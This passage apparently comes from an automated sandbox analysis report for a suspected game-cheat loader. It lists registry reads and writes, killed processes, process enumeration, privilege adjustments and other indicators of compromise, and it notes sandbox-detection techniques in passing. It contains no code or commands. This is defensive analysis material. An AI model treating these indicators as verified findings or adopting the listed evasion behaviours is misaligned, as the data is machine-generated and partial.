Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	chrome.exe

Checks processor information in registry 2 TTPs 28 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

pid	Process
5664	taskkill.exe
3672	taskkill.exe
5872	taskkill.exe
5880	taskkill.exe
4284	taskkill.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134326731972631811"	chrome.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "142"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	rrr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\SniffedFolderType = "Generic"	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 020000000000000001000000ffffffff	rrr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Downloads"	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\0 = 56003100000000001f5d6791102057696e646f777300400009000400efbec55259611f5dbd912e0000002205000000000100000000000000000000000000000021413700570069006e0064006f0077007300000016000000	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	rrr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\0\NodeSlot = "8"	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	rrr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\SniffedFolderType = "Generic"	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Version = "1"	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\MRUListEx = 00000000ffffffff	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000100000000000000ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1 = 5600310000000000ae5c7808100057696e646f777300400009000400efbec5522d601f5d50912e000000a6050000000001000000000000000000000000000000b88fe000570069006e0064006f0077007300000016000000	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1\0\MRUListEx = ffffffff	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\0\MRUListEx = ffffffff	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-125073035-2952146151-721812867-1000\{6FC43AA6-290B-4B24-B26B-3F9853C32811}	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1\0	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg	rrr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0000000001000000ffffffff	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1\0 = 5a003100000000001f5d5091100053797374656d33320000420009000400efbec5522d601f5d50912e0000008f3600000000010000000000000000000000000000005cec2700530079007300740065006d0033003200000018000000	rrr.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	rrr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000000000001000000ffffffff	firefox.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Fivem External.rar:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\PSTools.zip:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\snapshot_2026-05-27_12-11.zip:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\snapshot_2026-05-27_12-11 (1).zip:Zone.Identifier	chrome.exe

Runs net.exe

Runs regedit.exe 1 IoCs

pid	Process
2012	regedit.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4000	rrr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1544	pssuspend.exe
1816	chrome.exe
1816	chrome.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3212	pssuspend.exe
3328	loader.exe
3328	loader.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
5200	powershell.exe
5200	powershell.exe
5200	powershell.exe
5376	powershell.exe
5376	powershell.exe
5376	powershell.exe
5592	SecurityCenterService.exe
5592	SecurityCenterService.exe
5916	powershell.exe
5916	powershell.exe
5916	powershell.exe
6128	powershell.exe
6128	powershell.exe
6128	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5300	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 4 IoCs

pid	Process
6120	SecurityCenterService.exe
2012	regedit.exe
4000	rrr.exe
2008	firefox.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeRestorePrivilege	4428	7zG.exe
Token: 35	4428	7zG.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
